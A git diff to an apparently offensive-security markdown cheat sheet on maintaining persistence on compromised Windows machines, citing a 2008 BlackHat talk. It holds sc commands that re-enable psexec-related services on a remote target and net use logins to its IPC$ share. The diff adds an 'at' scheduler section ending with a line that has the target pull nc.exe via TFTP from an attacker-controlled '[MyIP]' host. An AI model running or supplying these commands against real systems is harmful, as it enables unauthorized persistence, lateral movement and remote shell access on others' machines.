diff --git a/persistence/windows/general.md b/persistence/windows/general.md index 802c62b..5717985 100644 --- a/persistence/windows/general.md +++ b/persistence/windows/general.md @@ -17,13 +17,13 @@ Commands to run to maintain persistence after you have exploited it and are usua ### Enable `psexec` The [`psexec` tool](http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx) executes processes on other systems over a network. Most systems now disable the "clipbook" which `psexec` required. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 50)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can re-enable the sub-systems needed to use `psexec` using the `sc` commands below. -``c:\> net use \\target\ipc$ username /user:password -c:\> sc \\target config netdde start= auto -c:\> sc \\target config netddedsdm start= auto -c:\> sc \\target config clipsrv start= auto -c:\> sc \\target start netdde -c:\> sc \\target start netddedsdm -c:\> sc \\target start clipsrv +``c:\> net use \\[TargetIP]\ipc$ username /user:password +c:\> sc \\[TargetIP] config netdde start= auto +c:\> sc \\[TargetIP] config netddedsdm start= auto +c:\> sc \\[TargetIP] config clipsrv start= auto +c:\> sc \\[TargetIP] start netdde +c:\> sc \\[TargetIP] start netddedsdm +c:\> sc \\[TargetIP] start clipsrv `` ### Enable Remote Desktop @@ -64,4 +64,13 @@ c:\> copy c:\windows\security\database\secedit.sdb c:\windows\security\database\ c:\> secedit /configure /db new.secedit.sdb /cfg fix_ts_policy.ini c:\> gpupdate /Force c:\> net start "terminal services" -`` \ No newline at end of file +`` + +### Scheduler +The [Windows scheduler](http://support.microsoft.com/kb/313565) can be used to further compromise a system. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 58)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely schedule tasks using the commands below. + +``c:\> net use \\[TargetIP]\ipc$ password /user:username +c:\> at \\[TargetIP] 12:00 pm command +`` + +An example you might run on the remote system might be: `at \\192.168.1.1 12:00pm tftp -I [MyIP] GET nc.exe` \ No newline at end of file